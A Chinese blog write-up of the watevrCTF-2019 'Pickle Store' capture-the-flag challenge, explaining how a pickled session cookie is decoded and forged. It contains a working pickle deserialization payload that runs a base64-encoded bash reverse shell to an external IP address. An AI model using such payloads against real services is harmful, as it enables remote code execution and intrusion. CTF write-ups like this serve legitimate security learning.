[watevrCTF-2019]Pickle Store

考点:

        1.pickle反序列化

        2.反弹shell

        3.session伪造 

上手:

开局:

开局让你买东西 很明确有一个贵的 然后左上角是自己的钱 也直接明了说明那个就是flag 但是买不起

点击购买后钱会变少

 感觉没什么点 就抓包看看

 session看起来像base64就去弄下 主要是其他也看不出说明 id穿参也弄不出来 题目也很直接给了是pickle 就能想到pickle反序列化

解码后果然得到一些看不懂的 就用pickle去看看 

脚本

import pickle
from base64 import *

enc = "gAN9cQAoWAUAAABtb25leXEBTZABWAcAAABoaXN0b3J5cQJdcQNYFAAAAFl1bW15IHNtw7ZyZ8Olc2d1cmthcQRhWBAAAABhbnRpX3RhbXBlcl9obWFjcQVYIAAAADQ2NGZiNTE5ZWNjZDkwMDM3Y2E4MDczMTlkNDU3ODZkcQZ1Lg=="

print(pickle.loads(b64decode(enc)))
#得:{'money': 400, 'history': ['Yummy smörgåsgurka'], 'anti_tamper_hmac': '464fb519eccd90037ca807319d45786d'}

 在脚本上decode再pickle.loads不然在在其他网站带来的base64有不知道是什么的字符

思路:

得到的东西就后面看见是加密的嘛 有想过能不能改钱 改到1000给flag买了

但是加密这个东东感觉不太行 就去看其他师傅了

看了其他师傅的wp是用反序列化后上传session反弹shell

import base64
import pickle


class shell(object):
    def __reduce__(self):
    # bash -i >& /dev/tcp/你的ip/9999 0>&1的base64
    #不能直接bash -i 0>&1那种写法,因为像是&这些符号 都是linux的shell关键字 会影响他的语法
        return (eval, ("__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMTMyLjEzNy43My8yMCAwPiYx | base64 -d | bash ')",))


k = shell()
print(base64.b64encode(pickle.dumps(k)))

其实很简单的操作 就自己买了个腾讯的服务器给我弄不会了 然后弄了几天 受不辽了 就回原来用的阿里云服务器反弹了 我能说什么....(真没打广告

 小结:

        这波浪费时间有自己好久没反弹shell手生的原因,就是太菜了,不找借口了,就是菜,回头做出来看真的很简单的,慢慢来,想了想自己也不应该死磕这个反弹shell,早点回头去用阿里云的服务器做早做出来了,哭了

开摆了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值